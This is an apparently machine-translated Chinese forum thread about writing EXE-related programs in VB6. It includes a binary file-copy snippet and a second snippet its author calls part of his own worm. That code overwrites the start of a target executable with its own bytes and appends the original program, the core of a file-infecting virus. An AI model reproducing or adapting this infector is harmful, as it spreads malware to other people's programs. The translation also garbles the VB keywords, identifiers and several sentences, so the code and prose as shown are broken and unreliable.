我們能打個賭嗎？是妳說的“不然用VB寫個應用程序來編譯形成壹個是笑話。EXE文件。如果我說這是可以實現的，妳會瘋嗎？
Cwa9958:復制粘貼，我也會。
妳...妳們...
HB_0916:小氣鬼~哈哈哈~但是樓主不是用來做病毒的...呵呵
-
以下代碼全部由Enoch Butterfly本人完成。如果有人想轉讓，妳可以，但不要氣得說是妳自己寫的。...
首先是針對妳的問題...給妳壹個實驗代碼:二進制拷貝文件(完美版)；
以二進制形式將123.exe復制到D:\ynd.exe。
前提是ynd.exe不存在，否則，呵呵，我就不說了。親自看...妳可以用它來取笑別人...(媽媽說人要善良...)
當然，上面的話是可以避免的，但是這段代碼只是作為教程，所以並不復雜。...
選項顯式
將VBArray()dim為字節
私有子窗體_Load()
打開二進制文件“123.exe”作為#1
LOF MsgBox(1)
ReDim VBArray(LOF(1)-1)
Get #1，，VBArray()
關閉#1
打開二進制文件“D:\ynd.exe”作為#2
Put #2，，VBArray()
關閉#2
末端接頭
效果如圖，哈哈，壹個字節還不錯！
不懂就問我。...
-
好的，第二，我們來壹個激情病毒感染碼(蠕蟲)，它是蝴蝶蠕蟲病毒的壹小部分。...
不好意思，還是我壹個人做的。...
把程序本身的代碼和目標程序(D:\a.exe)混合成壹個新的a.exe，運行a.exe的代碼只為了運行這個程序，這是我寫的病毒感染代碼的壹部分。...
不要亂來~
註意，前提是目標程序必須存在且不在運行，否則會出錯，而這個錯誤是可以輕而易舉避免的。..
但這段代碼只是作為教程，不會很復雜，呵呵。...
選項顯式
Dim OderArray()作為字節，SelfArray()作為字節
私有子窗體_Load()
MsgBox“00000”
打開二進制文件“d:\a.exe”作為#1
打開應用程序。EXEName +"。exe”作為二進制文件#2
MsgBox LOF(2)
ReDim oder array(LOF(1)-1)
ReDim SelfArray(LOF(2) - 1)
Get #1，，OderArray()
獲取#2，SelfArray()
Put #1，1，SelfArray()
放#1，LOF(1)，OderArray()
關閉#1
關閉#2
末端接頭
-
回答emmett _ 08:“VB寫的應用程序不能另存為an。EXE文件。
因為。EXE文件需要編譯。他有自己的格式。除非妳知道如何對固定位置進行小的改變。EXE的固定文件。如果是這樣，就用二進制打開文件。然後適當地讀和寫。
不然用VB寫個應用程序來編譯形成壹個就是笑話了。EXE文件。"
VC可以，VB也可以。這個在我給妳的留言裏有提到，但是實現起來很難。..
該消息如下:
我以前也有過這種想法，但是如果妳細心的話，妳會發現，即使是VB自己編譯EXE，也不是自己編譯，而是通過被調用的編譯器(鏈接。EXE，C2。EXE、Vbaexe6.lib和yourfiles.obj)。相關內容請參考MSDN或網上相關文章。所以編譯就是編譯器工作，也就是如果妳想用VB寫其他程序，首先EXE本身就是壹個巨大的工作量。其次，編譯器的制作夠妳我寫好幾年了，我沒辦法給妳寫，也沒試過。呵呵，當然寫編譯器本身也不是什麽好事，然後用VB寫就更難了(但不代表我寫不出來。百度知道我說“如果我”
“這是個笑話，因為我不可能像個白癡壹樣寫壹個編譯器來證明我是優秀的，對吧？)，市面上大部分編譯器都是用VC++6.0寫的(連VB6.0的編譯器都是...寒冷...-)，但是還是有人寫了壹個，不過不是編譯器，但是有類似的功能，就是國外的EXE合成器。他把兩個EXE文件合並成壹個新的EXE，運行那個EXE文件，EXE文件把最後兩個EXE文件釋放到壹個臨時文件夾，依次運行。...
如果妳感興趣，我可以給妳源代碼。...
如果妳覺得我有錯，或者妳有不認同的地方，歡迎討論！
-
回答emmett_08:“嘿嘿，啥都別說了”我說能實現妳會瘋嗎？" .其實我幾年前用VB做過壹個程序，可以解釋和執行某種格式的文件。但我沒有把它做成編譯模式，因為我知道用VB不可能做這樣的工作。”
嗯，這個我同意妳，因為這是VB本身的缺陷。壹個好的VC是可以實現的。雖然可以用VB實現，但是工作量和實現難度簡直無法相比。...